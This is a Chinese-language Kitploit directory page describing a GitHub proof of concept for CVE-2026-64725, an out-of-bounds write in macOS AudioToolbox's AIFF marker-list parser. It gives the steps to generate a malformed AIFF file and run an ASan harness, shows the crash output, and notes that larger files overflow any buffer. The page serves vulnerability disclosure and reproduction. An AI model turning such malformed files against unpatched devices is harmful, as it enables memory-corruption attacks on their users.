Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/altvist/cve-2026-64725-poc
漏洞分析漏洞利用二进制利用
GitHubaltvist/cve-2026-64725-poc

cve-2026-64725-poc

CVE-2026-64725 的 PoC

查看仓库
123天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

仓库里有什么?

这是针对 CVE-2026-64725 的一个 PoC。有关详细信息,请参阅 源代码 和 博客文章。

如何复现?

平台

已在 macOS 26.4.1(build 25E253;Darwin 25.4.0 (xnu-12377.101.15~1);Apple Silicon (T8103 / M1))上发现。

Apple 确认 macOS/iOS/iPadOS < 26.6 均存在漏洞。

PoC

  1. 确保你的 Mac 运行的是最新版 macOS

  2. 确保你已安装 Python 3.6+ 和 clang

  3. 将仓库克隆到你的 Mac 上

  4. 生成一个最小化的畸形 AIFF 文件,以触发 int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) 中的有符号移位错误:

    root@kitploit:~
    cd poc/
    python3 gen_marker_oob_aiff.py
    

    或

    root@kitploit:~
    cd poc/
    make aiff
    

    执行完毕后,你应该会得到 marker_oob.aiff。

  5. 使用 ASan 构建最小化的 PoC 测试程序:

    root@kitploit:~
    make 
    

    执行完毕后,你应该会得到 marker_oob_harness。

运行 PoC

root@kitploit:~
./marker_oob_harness marker_oob.aiff

你应该会看到类似如下的输出:

root@kitploit:~
buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
==62449==The signal is caused by a WRITE memory access.
==62449==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
    #1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
    #2 0x000104778ca4 in main marker_oob_harness.c:59
    #3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)

==62449==Register values:
 x[0] = 0xa29319b2bf742f12   x[1] = 0x0000000000000000   x[2] = 0x0000000000000000   x[3] = 0x0000000000000008  
 x[4] = 0x0000000000000004   x[5] = 0xffffffffffffffff   x[6] = 0x0000000000000000   x[7] = 0x0000000000000001  
 x[8] = 0x0000000000000000   x[9] = 0x0000000000001917  x[10] = 0x0000000000000002  x[11] = 0x0000000000000000  
x[12] = 0x000000002d6d0c46  x[13] = 0x00000001fd0f3380  x[14] = 0x0000000000000000  x[15] = 0x0000000000000000  
x[16] = 0x000000016b686231  x[17] = 0x00000001fd0e6d78  x[18] = 0x0000000000000000  x[19] = 0x0000000000000001  
x[20] = 0x000000016b686420  x[21] = 0x0000615000000a80  x[22] = 0x0000000000000000  x[23] = 0x000000000000c8e6  
x[24] = 0x000000000000c8e8  x[25] = 0x00000000ffffe6e9  x[26] = 0x0000000000000004  x[27] = 0x000061900004000c  
x[28] = 0x0000000000000002     fp = 0x000000016b686390     lr = 0x00000001929391b8     sp = 0x000000016b686220  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
==62449==ABORTING
zsh: abort      ./marker_oob_harness marker_oob.aiff

发生了什么?

长话短说:

  1. marker_oob_harness 通过调用有文档记载的公共 API AudioFileOpenURL(...) 打开了 marker_oob.aiff

  2. marker_oob_harness 调用了 calloc 为标记分配一个固定长度的输出缓冲区(这并非最佳实践,但在现实中经常发生;更安全的 GetMarkerListSize 代码模式将在下文「安全用例」/「GetMarkerListSize → malloc(size) → GetMarkerList」中讨论)

  3. marker_oob_harness 尝试通过调用有文档记载的公共 API AudioFileGetProperty(...) 并传入 inPropertyID=kAudioFilePropertyMarkerList 来获取标记列表。所有参数(包括输出缓冲区大小和指向缓冲区的指针)都是正确的。

写入缓冲区末尾之外的字节数取决于文件大小。恶意的 .aiff 文件只要足够大,就能溢出任何合理大小的缓冲区。

有关详细信息,请参阅 博客文章。

下载工具
  • AudioFileGetProperty(...) 在底层调用了未记载的 API int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)

  • int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) 错误地解读了(正确的!)输出缓冲区大小,并将 marker_oob.aiff 中的字节写到了缓冲区末尾之外,因此你看到了 ASan 崩溃信息。正确的行为应该是返回缓冲区过小之类的错误。